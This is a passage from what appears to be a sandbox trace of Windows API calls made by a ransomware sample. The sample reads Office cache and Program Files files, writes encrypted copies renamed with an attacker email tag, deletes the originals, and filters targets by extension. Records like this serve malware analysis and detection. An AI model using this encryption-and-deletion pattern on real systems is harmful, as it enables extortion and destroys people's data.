Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.065] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0201.065] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.065] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.065] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0201.066] GetLastError () returned 0x0 [0201.066] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x91975, lpOverlapped=0x0) returned 1 [0201.089] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0201.624] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0201.625] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0201.625] SetEndOfFile (hFile=0x1a8) returned 1 [0201.625] CloseHandle (hObject=0x1a8) returned 1 [0201.630] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0201.630] SetEndOfFile (hFile=0x1a4) returned 1 [0202.109] CloseHandle (hObject=0x1a4) returned 1 [0202.110] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.110] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0202.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.110] lstrlenW (lpString=".doc") returned 4 [0202.110] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.110] lstrlenW (lpString=".docx") returned 5 [0202.110] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0202.110] lstrlenW (lpString=".pdf") returned 4 [0202.110] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.110] lstrlenW (lpString=".xls") returned 4 [0202.110] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.110] lstrlenW (lpString=".xlsx") returned 5 [0202.110] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0202.110] lstrlenW (lpString=".ppt") returned 4 [0202.110] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.111] lstrlenW (lpString=".zip") returned 4 [0202.111] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.111] lstrlenW (lpString=".rar") returned 4 [0202.111] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString=".bz2") returned 4 [0202.111] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString=".7z") returned 3 [0202.111] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.111] lstrlenW (lpString=".dbf") returned 4 [0202.111] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.111] lstrlenW (lpString=".1cd") returned 4 [0202.111] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.111] lstrlenW (lpString=".jpg") returned 4 [0202.111] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.111] lstrlenW (lpString=".doc") returned 4 [0202.111] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.111] lstrlenW (lpString=".docx") returned 5 [0202.111] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0202.112] lstrlenW (lpString=".pdf") returned 4 [0202.112] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString=".xls") returned 4 [0202.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString=".xlsx") returned 5 [0202.112] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0202.112] lstrlenW (lpString=".ppt") returned 4 [0202.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.112] lstrlenW (lpString=".zip") returned 4 [0202.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.112] lstrlenW (lpString=".rar") returned 4 [0202.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString=".bz2") returned 4 [0202.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString=".7z") returned 3 [0202.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.112] lstrlenW (lpString=".dbf") returned 4 [0202.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.112] lstrlenW (lpString=".1cd") returned 4 [0202.112] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0202.112] lstrlenW (lpString=".jpg") returned 4 [0202.112] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.113] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0202.113] lstrlenW (lpString="Setup.xml") returned 9 [0202.113] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0202.113] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=20577) returned 1 [0202.113] CloseHandle (hObject=0x1a4) returned 1 [0202.114] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0202.114] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.114] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0202.114] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.114] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.114] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0202.114] GetLastError () returned 0x0 [0202.114] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5061, lpOverlapped=0x0) returned 1 [0202.143] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0202.145] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0202.145] WriteFile (in: hFile=0x17c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0202.145] SetEndOfFile (hFile=0x17c) returned 1 [0202.145] CloseHandle (hObject=0x17c) returned 1 [0202.148] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.148] SetEndOfFile (hFile=0x1a4) returned 1 [0202.149] CloseHandle (hObject=0x1a4) returned 1 [0202.150] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.150] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0203.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.040] lstrlenW (lpString=".doc") returned 4 [0203.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.040] lstrlenW (lpString=".docx") returned 5 [0203.040] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0203.040] lstrlenW (lpString=".pdf") returned 4 [0203.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.040] lstrlenW (lpString=".xls") returned 4 [0203.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.040] lstrlenW (lpString=".xlsx") returned 5 [0203.040] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0203.040] lstrlenW (lpString=".ppt") returned 4 [0203.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.040] lstrlenW (lpString=".zip") returned 4 [0203.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.040] lstrlenW (lpString=".rar") returned 4 [0203.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.040] lstrlenW (lpString=".bz2") returned 4 [0203.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.040] lstrlenW (lpString=".7z") returned 3 [0203.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.040] lstrlenW (lpString=".dbf") returned 4 [0203.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.041] lstrlenW (lpString=".1cd") returned 4 [0203.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.041] lstrlenW (lpString=".jpg") returned 4 [0203.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.041] lstrlenW (lpString=".doc") returned 4 [0203.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString=".docx") returned 5 [0203.041] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0203.041] lstrlenW (lpString=".pdf") returned 4 [0203.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString=".xls") returned 4 [0203.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString=".xlsx") returned 5 [0203.041] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0203.041] lstrlenW (lpString=".ppt") returned 4 [0203.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.041] lstrlenW (lpString=".zip") returned 4 [0203.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.042] lstrlenW (lpString=".rar") returned 4 [0203.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.042] lstrlenW (lpString=".bz2") returned 4 [0203.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.042] lstrlenW (lpString=".7z") returned 3 [0203.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.042] lstrlenW (lpString=".dbf") returned 4 [0203.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.042] lstrlenW (lpString=".1cd") returned 4 [0203.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0203.042] lstrlenW (lpString=".jpg") returned 4 [0203.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.042] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0203.042] lstrlenW (lpString="boxed-join.avi") returned 14 [0203.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0205.446] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=33280) returned 1 [0205.446] CloseHandle (hObject=0x1e4) returned 1 [0205.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0205.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.447] lstrlenW (lpString=".doc") returned 4 [0205.447] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.447] lstrlenW (lpString=".docx") returned 5 [0205.447] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0205.447] lstrlenW (lpString=".pdf") returned 4 [0205.447] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.447] lstrlenW (lpString=".xls") returned 4 [0205.447] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.447] lstrlenW (lpString=".xlsx") returned 5 [0205.447] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0205.447] lstrlenW (lpString=".ppt") returned 4 [0205.447] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.447] lstrlenW (lpString=".zip") returned 4 [0205.447] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.448] lstrlenW (lpString=".rar") returned 4 [0205.448] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.448] lstrlenW (lpString=".bz2") returned 4 [0205.448] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.448] lstrlenW (lpString=".7z") returned 3 [0205.448] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.448] lstrlenW (lpString=".dbf") returned 4 [0205.448] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.448] lstrlenW (lpString=".1cd") returned 4 [0205.448] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.448] lstrlenW (lpString=".jpg") returned 4 [0205.448] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.449] lstrlenW (lpString=".doc") returned 4 [0205.449] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0205.449] lstrlenW (lpString=".docx") returned 5 [0205.449] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0205.449] lstrlenW (lpString=".pdf") returned 4 [0205.449] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0205.449] lstrlenW (lpString=".xls") returned 4 [0205.449] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0205.449] lstrlenW (lpString=".xlsx") returned 5 [0205.449] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0205.449] lstrlenW (lpString=".ppt") returned 4 [0205.449] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0205.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.449] lstrlenW (lpString=".zip") returned 4 [0205.449] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0205.449] lstrlenW (lpString=".rar") returned 4 [0205.449] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0205.449] lstrlenW (lpString=".bz2") returned 4 [0205.449] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0205.504] lstrlenW (lpString=".7z") returned 3 [0205.504] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0205.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.504] lstrlenW (lpString=".dbf") returned 4 [0205.504] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0205.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.504] lstrlenW (lpString=".1cd") returned 4 [0205.505] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0205.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0205.505] lstrlenW (lpString=".jpg") returned 4 [0205.505] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0205.505] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.505] lstrlenW (lpString="base_ca.xml") returned 11 [0205.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0205.826] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3166) returned 1 [0205.826] CloseHandle (hObject=0x16c) returned 1 [0205.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0205.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.827] lstrlenW (lpString=".doc") returned 4 [0205.827] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.827] lstrlenW (lpString=".docx") returned 5 [0205.827] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0205.827] lstrlenW (lpString=".pdf") returned 4 [0205.827] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.827] lstrlenW (lpString=".xls") returned 4 [0205.827] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.827] lstrlenW (lpString=".xlsx") returned 5 [0205.827] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0205.827] lstrlenW (lpString=".ppt") returned 4 [0205.827] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.827] lstrlenW (lpString=".zip") returned 4 [0205.827] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.827] lstrlenW (lpString=".rar") returned 4 [0205.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.827] lstrlenW (lpString=".bz2") returned 4 [0205.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.827] lstrlenW (lpString=".7z") returned 3 [0205.828] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.828] lstrlenW (lpString=".dbf") returned 4 [0205.828] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0205.828] lstrlenW (lpString=".1cd") returned 4 [0205.828] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.828] lstrlenW (lpString="C:\\Program Files\\Common 